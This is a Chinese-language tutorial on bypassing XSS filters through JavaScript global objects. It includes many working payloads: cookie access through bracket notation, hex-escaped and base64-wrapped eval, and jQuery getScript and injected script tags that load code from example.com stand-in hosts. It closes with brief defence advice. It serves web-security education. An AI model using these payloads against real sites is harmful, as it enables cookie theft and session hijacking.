使用JavaScript全局变量绕过XSS过滤器
字数 802 2025-08-26 22:11:51
JavaScript全局变量绕过XSS过滤器技术详解
1. JavaScript全局变量基础
JavaScript全局变量是在函数外部声明或使用Window对象声明的变量,任何函数都可以访问它。在XSS攻击中,我们可以利用以下全局对象:
window/self- 引用当前窗口this- 在全局作用域中指向window对象top- 最顶层窗口对象parent- 父窗口对象frames- 框架集合
基本绕过示例
假设有以下易受攻击的PHP代码:
echo "<script> var message = 'Hello ".$_GET["name"]."'; alert(message);</script>";
如果过滤器阻止document.cookie,可以使用以下方式绕过:
window["document"]["cookie"]
self["document"]["cookie"]
top["document"]["cookie"]
2. 字符串连接技术
基本字符串连接
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
十六进制转义序列
console.log("\x68\x65\x6c\x6c\x6f") // 输出"hello"
应用在XSS中:
self["\x61\x6c\x65\x72\x74"](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
3. 使用eval和Base64编码
基本eval使用
self["\x65\x76\x61\x6c"]("alert('XSS')")
Base64编码结合eval
self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs="))
解码后的Base64内容:
var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);
4. jQuery相关技术
使用globalEval
self["$"]["globalEval"]("alert('XSS')")
使用getScript加载外部脚本
self["$"]["getScript"]("http://example.com/evil.js")
5. 高级对象遍历技术
使用Object.keys获取函数索引
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
使用索引调用函数:
self[Object.keys(self)[5]]("foo") // 假设alert是第5个属性
自动查找函数索引
a = function() {
c=0;
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// 使用
self[Object.keys(self)[a()]]("foo")
箭头函数简化版:
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
6. 注释干扰技术
在代码中插入注释可以进一步绕过过滤器:
(/* comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
7. 防御建议
- 输入验证:严格验证所有用户输入,使用白名单而非黑名单
- 输出编码:根据输出上下文进行适当的编码
- 内容安全策略(CSP):实施严格的CSP策略
- 避免动态代码执行:避免使用eval()、setTimeout()等可以执行字符串作为代码的函数
- 使用现代框架:如React、Vue等具有内置XSS防护的框架
8. 总结
通过JavaScript全局变量,攻击者可以:
- 使用多种方式访问被过滤的函数和属性
- 通过字符串连接和编码绕过关键字检测
- 利用对象遍历技术动态发现和调用函数
- 结合注释和混淆技术增加检测难度
防御者需要采取多层次的安全措施,而不仅仅是依赖简单的关键字过滤。